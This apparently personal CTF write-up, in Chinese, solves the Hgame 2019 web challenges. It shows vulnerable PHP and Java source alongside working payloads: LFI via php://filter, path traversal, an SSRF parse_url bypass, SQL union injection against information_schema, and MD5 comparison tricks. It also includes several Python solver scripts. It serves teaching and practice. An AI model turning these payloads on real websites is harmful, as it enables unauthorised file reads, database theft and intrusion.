Hgame2019

[TOC]

Hgame 2019 Web wirteup

Week 1

Web

谁吃了我的 flag

呜呜呜,Mki 一起床发现写好的题目变成这样了,是因为昨天没有好好关机吗 T_T

hint: 据当事人回忆,那个夜晚他正在用 vim 编写题目页面,似乎没有保存就关机睡觉去了,现在就是后悔,十分的后悔。

既然提示 vim ,那就直接下载.index.html.swp,用vim -r .index.html.swp恢复就好了,得到

1
2
3
4
5
6
7
8
9
10
11
12
13
<!DOCTYPE HTML>
<html>
<head>
<title>谁吃了我的flag???</title>
</head>
<body>
<p>damn...hgame2019 is coming soon, but the stupid Mki haven't finished his web-challenge...</p>
Press ENTER or t</br>ommand to continue
<p>fine, nothing serious, just give you flag this time...</p>
</br>
<p>the flag is hgame{3eek_diScl0Sure_fRom+wEbsit@}
</body>
</html>

换头大作战

想要 flag 嘛 工具: burpsuite postman hackbar 怎么用去百度,相信你可以的

一步步改包就可以了。完整包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /week1/how/index.php HTTP/1.1
Host: 120.78.184.111:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Waterfox/50.0
Referer: www.bilibili.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: 127.0.0.1
Cookie: admin=1
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

want=%E6%83%B3

very easy web

代码审计初 ♂ 体验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
include("flag.php");

if(strpos("vidar",$_GET['id'])!==FALSE)
die("<p>干巴爹</p>");

$_GET['id'] = urldecode($_GET['id']);
if($_GET['id'] === "vidar")
{
echo $flag;
}
highlight_file(__FILE__);
?>

源码如上,比较简单,二次urlencode即可,payload: id=%2576%2569%2564%2561%2572

can u find me

为什么不问问神奇的十二姑娘和她的小伙伴呢

查看源码得到下一关地址

1
2
3
4
5
6
7
8
9
10
11
12

<!DOCTYPE html>
<html>
<head>
<title>can u find me?</title>
</head>
<body>
<p>the gate has been hidden</p>
<p>can you find it? xixixi</p>
<a href="f12.php"></a>
</body>
</html>

跟进,提示

1
<p>please post password to me! I will open the gate for you!</p>

查看该包可以发现有响应头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
HTTP/1.1 200 OK
Server: nginx/1.15.8
Date: Sat, 02 Feb 2019 10:32:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.2.14
password: woyaoflag
Content-Length: 302

<!DOCTYPE html>
<html>
<head>
<title>can u find me?</title>
</head>
<body>
<p>yeah!you find the gate</p>
<p>but can you find the password?</p>
<p>please post password to me! I will open the gate for you!</p>
</html>

传入对应的 password 之后,提示

1
<p>right!</p><a href='iamflag.php'> click me to get flag</a></body>

抓包访问是个 302 跳转,iamflag.php 就存在 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
HTTP/1.1 302 Found
Server: nginx/1.15.8
Date: Sat, 02 Feb 2019 10:33:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.2.14
location: toofast.php
Content-Length: 132

<html>
<head>
<title>can you find me?</title>
</head>
<body>
<p>flag:hgame{f12_1s_aMazIng111}</p>
</body>
</html>

Week 2

Web

easy_php

代码审计 ♂ 第二弹

Title 提示 where is my robots ,访问 robots.txt 得到 img/index.php ,访问得到真源码

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
$img = $_GET['img'];
if(!isset($img))
$img = '1';
$img = str_replace('../', '', $img);
include_once($img.".php");
highlight_file(__FILE__);

使用....//绕过../的过滤,使用php://filter/read=convert.base64-encode/resource=来读取文件内容

最终 payload:php://filter/read=convert.base64-encode/resource=....//flag

解 base64 得到:

1
2
3
<?php
//$flag = 'hgame{You_4re_So_g0od}';
echo "maybe_you_should_think_think";

php trick

some php tricks

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
die('step 2 fail');
}
if( $str3 == $str4 ){
die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
die('step 5 fail');
}
if(is_numeric($str5)){
die('step 6 fail');
}
if ($str5<9999999999){
die('step 7 fail');
}
if ((string)$str5>0){
die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}

使用str1=QNKCDZO&str2=240610708绕过step 1中的md5弱相等

使用数组绕过step 2中的md5相等

使用.绕过对_的判断,数组绕过对数字的判断

使用http://localhost@127.0.0.1:80@www.baidu.com/admin.php绕过step 9 10的判断,得到admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
echo "sorry,you can't see it";
}
else{
echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>

使用filename=xxxxx/../flag.php绕过file_existsfile_get_contents函数

得到flag.php

1
<?php $flag = hgame{ThEr4_Ar4_s0m4_Php_Tr1cks} ?>

PHP Is The Best Language

var_dump 了解一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php  

include 'secret.php';

#echo $flag;
#echo $secret;

if (empty($_POST['gate']) || empty($_POST['key'])) {
highlight_file(__FILE__);
exit;
}

if (isset($_POST['door'])){
$secret = hash_hmac('sha256', $_POST['door'], $secret);
}

$gate = hash_hmac('sha256', $_POST['key'], $secret);

if ($gate !== $_POST['gate']) {
echo "Hacker GetOut!!";
exit;
}

if ((md5($_POST['key'])+1) == (md5(md5($_POST['key'])))+1) {
echo "Wow!!!";
echo "</br>";
echo $flag;
}
else {
echo "Hacker GetOut!!";
}

?>

一开始我一直在想用数组绕过对keymd5判断,可是一旦用了数组,$gate计算出来的就是NULL,因为hash_hmac('sha256', $_POST['key'], $secret);key[]为数组,就会出现返回NULL的情况,但是这样的话,$gate就因为key[]的原因等于NULL了,而需要绕过$gate !== $_POST['gate'],就需要gate参数不存在或者为 0,然后这两种情况都绕不过一开始的empty($_POST['gate']),因为empty(NULL)empty(0)都是true

后来经过一番提醒,$_POST['key']是可以爆破得到的,例如在 100 内

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
for($i=1; $i < 99 ;$i++){
if ((md5($i)+1) == (md5(md5($i)))+1) {
echo $i."\n";
}
}

12
14
39
42
49
50
53
65
71
74
79
83
98

得到这么多个数…

所以整个环节就比较清楚了,使用door[]$secret置换为NULL,这样我们就可以在本地算出$gate的值了,然后 POST 那个值就行了。

最终用door[]=1&key=98&gate=34047c350a9243401fb31a261407ca367fe058a8f7e00abd10b257e89025ccdd得到 flag : hgame{Php_MayBe_Not_Safe}

Baby_Spider

Come to death in the ocean of mathematics together with Li4n0!
Answer 30 questions correctly in a row during 40 seconds(The calculation result is subject to python3),then you can get the flag. Enjoy it~

hint1:The most basic operation of a spider is to disguise itself.
hint2:Always believe only what you see with your own eyes

这题很坑很坑…做得有点生气

首先 1-10 关需要带一些普通请求头访问,否则第十关会直接返回shutdown命令,我没有用管理员直接跑,所以没关机,但是我误以为这是要求python返回值的问题,然后搞了半天发现是需要带一些请求头

然后在 11 关他会修改一个字体的 style ,比如我得到文本为(972279097)/414696815/(472238406)+769794962*(27940524)=?,但是视觉效果却是

字体 style 为

1
2
3
4
5
6
7
8
9
10
11
<style>
@font-face {
font-family: Ariali;
src: url('Ariali.otf');
font-weight: normal;
font-style: normal;
}
.question-container{
font-family: Ariali;
font-weight: bold;
}

对应规则为

1
0123456789->1026943587

21-30 关又改了 style ,给question-container增加了after元素

1
2
3
4
<style>
.question-container:after{
content:"(616887126)-957226796+956719004+554270862+732380290=?";
}

所以我们就需要去计算这个 content 中的即可。

把脚本中的 token 替换为自己的 token :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import re
import requests

token_url = 'http://111.231.140.29:10000/'
solution_url = 'http://111.231.140.29:10000/solution'
style_url = 'http://111.231.140.29:10000/statics/style.css'
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36',
}
dic = '1026943587'
r = requests.Session()
s = r.post(token_url,data={'token':'BkqnELak3XMzcYsXPZ0DFuXSRf9DLsRW'},allow_redirects=True,headers=headers)
str_text = r"<div class=\"question-container\"><span>.*</span></div>"

for i in range(1,11):
print(str(i))
# if i == 11:
# rep = r.get(style_url)
# print(rep.text)
match = re.search(str_text,s.text)
result = match.group().replace("<div class=\"question-container\"><span>","")
result = result.replace("=?</span></div>","")
print(result + '\n')
result = str(eval(result))
s = r.post(solution_url,data={'answer':result},headers=headers)
print(s.text)

for i in range(11,21):
print(str(i))
# if i == 21:
# rep = r.get(style_url)
# print(rep.text)
match = re.search(str_text,s.text)
result = match.group().replace("<div class=\"question-container\"><span>","")
result = result.replace("=?</span></div>","")
tmp = ''
for j in range(0,len(result)):
if ord(result[j]) > 47:
tmp += dic[int(result[j])]
else:
tmp += result[j]
result = tmp
print(result + '\n')
result = str(eval(result))
s = r.post(solution_url,data={'answer':result},headers=headers)
print(s.text)

for i in range(21,31):
print(str(i))
# if i == 21:
# rep = r.get(style_url)
# print(rep.text)
s = r.get(style_url)
match = re.search("content:\".*=?\"",s.text)
result = match.group().replace("content:\"","")
result = result.replace("=?\"","")
print(result + '\n')
result = str(eval(result))
s = r.post(solution_url,data={'answer':result},headers=headers)
print(s.text)

虽然坑归坑,但是也是能理解作者想表达的反爬虫技术的技巧的想法的

Math 有趣

Math is interesting, isn’t it?
update: 题中最后的^是乘方,不是 xor
hint: 了解一下 tomcat、spring mvc 的目录结构和配置文件(自己搭一下就明白了
hint2: 图片目录不在 web 目录下

输入答案 2 之后,进入下一题,发现是个计算…

我直接放在一旁跑 1-999,然后继续看题,查看源码我们可以发现

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
<title>Title</title>
</head>
<body>
<p>It seems that you have learned it, let us do a difficult question.<br/><img src=/img/cXVlc3Rpb24ucG5n.php><br/>Show me the smallest integer solutions.</p>
<br/>
<form action="/index.php" method="post">
Your Answer: <input type="text" name="answer" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

图片文件有些怪异,竟然是个.php后缀,尝试看看文件,发现报错

看来是个base64加密的图片名字格式,atob("cXVlc3Rpb24ucG5n")得到question.png

尝试用/img/answer.png.php访问,换了一种报错

猜测是个可以任意文件读取,然后我们用../../../../../etc/passwd经过 base64 编码后加上.php访问,成功得到文件内容,于是猜解目录结构,发现经过../../之后就是根目录。

题目并没有给特别的信息,猜测是个默认目录之类的,既然放在tomcat下,而且也不给其他包名,应该就是类似$TOMCAT_HOME/webapps/ROOT这样的目录,然后加上WEB-INF/web.xml这个比较常用的默认文件来确定位置,最终在../../usr/local/tomcat发现tomcat目录

1
2
btoa("../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml")
"Li4vLi4vdXNyL2xvY2FsL3RvbWNhdC93ZWJhcHBzL1JPT1QvV0VCLUlORi93ZWIueG1s"

得到文件内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>Archetype Created Web Application</display-name>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:application-context.xml</param-value>
</context-param>

<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>

<servlet>
<servlet-name>mathyouqu</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>mathyouqu</servlet-name>
<url-pattern>*.php</url-pattern>
</servlet-mapping>
</web-app>

根据classpath:application-context.xml,访问WEB-INF/classes/application-context.xml得到文件内容

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:context="http://www.springframework.org/schema/context"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context.xsd">

</beans>

但是文件内容对我们接下来要读取的源码并没什么帮助,于是找了很多其他的配置文件都没有找到,最后想起来报错页面应该会有项目文件的名字,也就是之前的那张图:

我们可以看到包名hgame.controller,然后MathController就是控制器,对应的就是.class文件,image()对应的就是MathController这个类中的方法。这样从包名我们就可以找到文件路径了,猜测就是hgame/controller/MathController.class,因为是编译好的,所以是.class结尾,而不是.java

JD-GUI打开即可看到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
package hgame.controller;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class MathController
{
@RequestMapping(value={"/index"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String index(ModelMap model, HttpSession session, HttpServletResponse response)
throws IOException
{
Object step = session.getAttribute("step");
if (step == null)
{
session.setAttribute("step", Character.valueOf('1'));
response.sendRedirect("/index.php");
return null;
}
if (step.toString().equals("1")) {
model.addAttribute("message", "Welcome to the world of mathematics.<br/>Let's warm up first.<br/>1+1=?");
} else if (step.toString().equals("2")) {
model.addAttribute("message", "It seems that you have learned it, let us do a difficult question.<br/><img src=/img/cXVlc3Rpb24ucG5n.php><br/>Show me the smallest integer solutions.");
}
return "math";
}

@RequestMapping(value={"/index"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
public void pindex(@RequestParam("answer") String answer, HttpSession session, HttpServletResponse response)
throws IOException
{
Object step = session.getAttribute("step");
if (step == null)
{
session.setAttribute("step", Character.valueOf('1'));
response.sendRedirect("/index.php");
}
else if ((step.toString().equals("1")) &&
(answer.equals("2")))
{
session.setAttribute("step", "2");
response.sendRedirect("/index.php");
}
}

@RequestMapping(value={"/img/{path}"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String image(@PathVariable("path") String path, HttpServletResponse response)
{
path = new String(Base64.getDecoder().decode(path));
InputStream f = null;
OutputStream out = null;
try
{
f = new FileInputStream("/home/static/" + path);
out = response.getOutputStream();
int count = 0;
byte[] buffer = new byte['���'];
while ((count = f.read(buffer)) != -1)
{
out.write(buffer, 0, count);
out.flush();
}
}
catch (Exception e)
{
e.printStackTrace();
}
try
{
f.close();
out.close();
}
catch (Exception e)
{
e.printStackTrace();
}
return "ok";
}

@RequestMapping(value={"/flag"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String Flag(ModelMap model)
{
System.out.println("This is the last question.");
System.out.println("123852^x % 612799081 = 6181254136845 % 612799081");
System.out.println("The flag is hgame{x}.x is a decimal number.");
model.addAttribute("flag", "Flag is not here.");
return "flag";
}
}

可以看到有个/flag的路由,我们只需要计算123852^x % 612799081 = 6181254136845 % 612799081这个就可以了,爆破得到15387368就是答案

Week 3

Web

神奇的 md5

flag 在根目录下(请善待学生机)
hint:md5 碰撞 你自己本地去生成 3 个 md5 值一样的 sha 值不一样的 用 curl 上传

http://118.25.89.91:8080/question/login.php

访问不了 2333

看其他师傅的 wp ,首先是个源码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
session_start();
error_reporting(0);


if (@$_POST['username'] and @$_POST['password'] and @$_POST['code'])
{
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
$code = (string)$_POST['code'];

if (($username == $password ) or ($username == $code) or ($password == $code)) {
echo "Your input can't be the same";
}
else if ((md5($username) === md5($password)) and (md5($password) === md5($code))){
echo "Good";

header('Location: admin.php');
exit();
} else {
echo "<pre> Invalid password</pre>";
}
}
?>

看来是 md5 强碰撞,这里给三个 md5 一样的图片

1
2
3
4
5
6
$ curl -s http://www.fishtrap.co.uk/black.jpg.coll | md5
b69dd1fd1254868b6e0bb8ed9fe7ecad
$ curl -s http://www.fishtrap.co.uk/brown.jpg.coll | md5
b69dd1fd1254868b6e0bb8ed9fe7ecad
$ curl -s http://www.fishtrap.co.uk/white.jpg.coll | md5
b69dd1fd1254868b6e0bb8ed9fe7ecad

后面就是简单的命令执行了

sqli-1

sql 注入 参数是 id

http://118.89.111.179:3000/

没有任何过滤,就是处理验证码 code 有点麻烦

贴一下自己的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import hashlib
import requests
from urllib import parse
import re

def md5(s):
return hashlib.md5(s).hexdigest()

def cal(code):
for i in range(1, 9999999):
if md5(str(i).encode('utf-8')).startswith(code):
return i


headers = { 'Cookie': 'PHPSESSID=5vsgpoc8m9j8c66d9vfmru0uqd; path=/' }
# req = requests.session()
url = "http://118.89.111.179:3000/"
rep = requests.get(url,headers=headers)
match = re.search(r'=== .*<br>',rep.text)
code = match.group().replace("=== ","")
code = code.replace("<br>","")
payload = '1 union select table_name from information_schema.tables where table_schema=\'hgame\';#'
payload = '1 union Select column_name from information_schema.columns where table_name=\'f1l1l1l1g\';#'
payload = '1 union Select f14444444g from f1l1l1l1g;#'
url = "http://118.89.111.179:3000/?id=%s&code=%s" % (parse.quote(payload),cal(code))
rep = requests.get(url,headers=headers)
print(rep.text)

sqli-2

sql 注入

http://118.89.111.179:3001/?id=1

我做的时候…也是访问不了…

1
2
could not connect to the database: Connection refused
I'll tell you if SQL can be executed.

直接显示链接数据库失败,看其他师傅的 wp ,看样子是个盲注的题,然而…

基础渗透

综合利用各种漏洞来 getshell,然后找到被藏起来的 flag。

http://111.231.140.29:10080/index.php?action=php://filter/read=convert.base64-encode/resource=user直接读源码

User.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
require_once('functions.php');
if (!isset($_SESSION['login'])) {
Header("Location: /login.php");
exit();
} else {
echo "<div id='user-info' class='am-container'>";
echo "<div class='am-form'>";
echo "<div class='am-form-group am-form-file' id='form-file'>";
$image = get_avatar($_SESSION['user_id']);
if ($image != null) {
echo "<img type='button' src=data:image/png;base64," . $image['content'] . " class='am-circle' id='avatar'>";
} else {
echo "<div class='am-circle avatar-tmp' id='avatar'>" . md5($_SESSION['user']) . "</div>";
}

}

?>

<input type="file" id="upfile" onchange="SelectImage()">
</div>
<button id="upload" class="am-btn am-btn-primary am-disabled">保 存 头 像</button>
</div>

<?php
echo "<div class='user'><strong>用户名: </strong> " . $_SESSION['user'] . "</div>";
echo "<hr>";
echo "<div class='am-form am-form-horizontal'>";
echo "<strong>原密码:</strong> <input id='oldpassword' type='password'> ";
echo "<br>";
echo "<strong>新密码:</strong> <input id='newpassword' type='password'>";
echo "<br>";
echo "<strong>新密码确认:</strong> <input id='newpassword_again' type='password'> ";
echo "<br>";
echo "</div>";
echo "<button onclick='NewPassword()' class='am-btn am-btn-danger'>确 认 修 改</button>";
echo "</div>";
echo "</div>";
echo "</div>";

echo "<script src='/js/user.js'></script>";
?>

Functions.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
<?php
//ini_set("display_errors", "on");
require_once('config.php');
session_start();

function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}

function csrf_token()
{
$token = '';
$chars = str_split('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
for ($i = 0; $i < 48; $i++) {
$token = $token . $chars[random_int(0, 61)];
}
$_SESSION['token'] = $token;
echo "<input type='hidden' value='$token' id='token'>";
}

function res_to_json($res, $type)
{
$json['type'] = $type;
$json['status'] = "true";
$json["content"] = array();
foreach ($res as $message) {

$array_tmp['user_id'] = $message['user_id'];
$array_tmp['user'] = $message['user'];
$array_tmp['avatar'] = get_avatar($message['user_id']) != null ? get_avatar($message['user_id'])['content'] : md5($message['user']);
$array_tmp['message'] = $message['content'];
$array_tmp['message_id'] = $message['message_id'];
$array_tmp['time'] = $message['date'];
array_push($json["content"], $array_tmp);
}
$json["content"] = $json["content"];
return json_encode($json);
}

function judge($username, $password)
{
if ($username == null) {
echo "username's length error!";
return false;
} elseif (strlen($password) < 6 or strlen($password) > 16) {
echo "password's length error!";
return false;
} else {
return true;
}
}

function register($username, $password, $token)
{
if (judge($username, $password) == 1 and $token === $_SESSION['token']) {
$password = md5($password);
$sql_query = "insert into `users`(`username`,`password`) VALUES ('$username','$password')";
$res = sql_query($sql_query);
if ($res) {
echo 'register success!';
} else {
echo 'error!';
}
} else {
echo "error!";
return false;
}

}

function login($username, $password, $token)
{
if (!isset($_SESSION['login']) and $token === $_SESSION['token']) {
$password = md5($password);
$sql_query = "select * from `users` where `username`='$username' and `password`='$password'";
$res = sql_query($sql_query);
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user_id'] = $data['user_id'];
$_SESSION['user'] = $data['username'];
$_SESSION['groups'] = $data['groups'];
$_SESSION['login'] = 1;
setcookie('user', $_SESSION['user']);
setcookie('groups', $_SESSION['groups']);
} else {
echo "error!";
return false;
}
} else {
echo "error!";
return false;
}
}

function loginout()
{
if ($_GET['loginout'] === $_SESSION['token']) {
session_destroy();
setcookie('groups', null);
setcookie('user', null);
Header("Location: index.php");
}
}

function get_avatar($user_id)
{
$sql_query = "select `avatar` from `users` where `user_id`=$user_id";
$res = sql_query($sql_query)->fetch_row()[0];
if ($res) {
return array('name' => $res, 'content' => base64_encode(file_get_contents('./img/avatar/' . $res . '.png')));
} else {
return null;
}
}

function get_new_messages()
{
$start = $_GET['start'] ?? 0;
$start = addslashes($start);
$user_id = $_SESSION['user_id'];
$sql_query = "select * from `messages` where `user_id`=$user_id LIMIT $start,999999999999";
$res = sql_query($sql_query);
if ($res->num_rows) {
return res_to_json($res, "messages");
}

}

function get_messages()
{
$start = $_GET['start'] ?? 0;
$start = addslashes($start);
$user_id = $_SESSION['user_id'];
$sql_query = "select * from `messages` where `user_id`=$user_id ORDER BY `message_id` DESC LIMIT $start,12";
$res = sql_query($sql_query);
if ($res->num_rows) {
return res_to_json($res, "messages");
}
}

function add_message($message)
{
if ($_POST['token'] === $_SESSION['token']) {
if (isset($_SESSION['login']) and mb_strlen($message) > 6) {
$user_id = $_SESSION['user_id'];
$user = $_SESSION['user'];
$sql_query = "insert into `messages`(`user_id`,`user`,`content`) VALUES($user_id,'$user','$message')";
sql_query($sql_query);
} elseif (!isset($_SESSION['login'])) {
echo "login error";
} else {
echo "length error";
}
}
}

function delete_message($message_id)
{
$user_id = $_SESSION['user_id'];
if ($_POST['token'] === $_SESSION['token']) {
if ($_SESSION['groups'] == 0) {
$sql_query = "delete from `messages` where `message_id`=$message_id and `user_id`=$user_id";
} elseif ($_SESSION['groups'] == 1) {
$sql_query = "delete from `messages` where `message_id`=$message_id";
}
sql_query($sql_query);

}
}

function rand_filename()
{
$tmp = `cat /dev/urandom | head -n 10 | md5sum | head -c 15`;
$sql_query = "select `avatar` from `users` where `avatar`=$tmp";
$res = sql_query($sql_query);
if ($res->num_rows) {
return rand_filename();
} else {
return $tmp;
}
}

function upload_avatar()
{
$type = $_FILES['file']['type'];
$user_id = $_SESSION['user_id'];
if ($type == 'image/gif' || $type == 'image/jpeg' || $type == 'image/png') {
$avatar = get_avatar($user_id);
if ($avatar == null) {
$name = rand_filename();
move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $name . ".png");
$sql_query = "update `users` set `avatar`='$name' WHERE `user_id`=$user_id";
sql_query($sql_query);
} else {
move_uploaded_file($_FILES['file']['tmp_name'], "./img/avatar/" . $avatar['name'] . ".png");

}
}
}

function change_password($opassword, $npassword, $npasswod_again)
{
if (judge($_SESSION['user'], $npassword)) {
if ($npasswod_again !== $npassword) {
echo "difference error";
} else {
$user_id = $_SESSION['user_id'];
$sql_query = "select `password` from `users` where `user_id`=$user_id";
$res = sql_query($sql_query);
if ($res->num_rows) {
if ($res->fetch_row()[0] === md5($opassword)) {
$sql_query = "update `users` set `password`=md5($npassword) WHERE `user_id`=$user_id";
$res = sql_query($sql_query);
echo $res;
echo "successful";
} else {
echo "oldpassword error";
}
}
}

}

}

Message.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<h1 class="title" id="title">Message Board</h1>
<div id="container" class="am-container"></div>
<div id="rocket" class="am-icon-btn" onclick="ReturnTop()"></div>
<div id="write_message" class="am-icon-btn"></div>
<div class="am-modal am-modal-prompt" tabindex="-1" id="my-prompt">
<div class="am-modal-dialog am-form" id="message_area">
<div class="am-modal-hd">写留言</div>
<div class="am-modal-bd">
<textarea class='textarea' name="new_message" id="new_message" cols="30" rows="10"></textarea><br>
</div>
<div class="am-modal-footer">
<button class="am-btn am-btn-danger button " id="button_cancel" data-am-modal-cancel>取 消
</button>
<button class="am-btn am-btn-primary button " id="button_sumbit"
data-am-modal-confirm>
提 交
留 言
</button>
</div>
</div>
</div>
<script src='/js/index.js'></script>

Config.php

1
2
3
4
5
6
7
<?php
$DBHOST = "127.0.0.1";
$DBUSER = getenv('DATABASE_USER');
$DBPASS = getenv('DATABASE_PASS');
$DBNAME = "lyb";
$mysqli = new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
?>

Login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
require_once('functions.php');
if (!isset($_POST['username']) or !isset($_POST['password'])) {
if (isset($_GET['loginout'])) {
loginout();
}
if (!isset($_SESSION['login'])) {
include('template/login.html');
csrf_token();
} else {
Header('Location: /index.php');
}
} else {
login(addslashes($_POST['username']), addslashes($_POST['password']), $_POST['token']);
}

index.php

1
2
3
4
5
6
7
8
9
10
<?php
include_once("template/header.php");
if (is_null($_SESSION['user_id'])) {
header('Location:/login.php');
exit();
}
$page = array_key_exists('action', $_GET) ? $_GET['action'] : 'message';
require $page .'.php';
include_once("template/footer.php");
?>

Message_api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
require_once('functions.php');
if ($_GET['action'] === 'add') {
if (!isset($_POST['new_message']) or !isset($_POST['token'])) {
header("Location: /index.php");
} else {
add_message(htmlspecialchars(addslashes($_POST['new_message'])));
}
} elseif ($_GET['action'] === 'delete') {
if (!isset($_POST['message_id']) or !isset($_POST['token'])) {
header("Location: /index.php");
} else {
delete_message(addslashes($_POST['message_id']));
}
} elseif ($_GET['action'] === 'get_new') {
if (is_null($_SESSION['user_id'])) {
http_response_code(403);
} else {
echo get_new_messages();
}
} elseif
($_GET['action'] === 'get') {
if (is_null($_SESSION['user_id'])) {
http_response_code(403);
} else {
echo get_messages();
}
}

functions.php中我们可以看到一个明显的注入

1
2
3
4
5
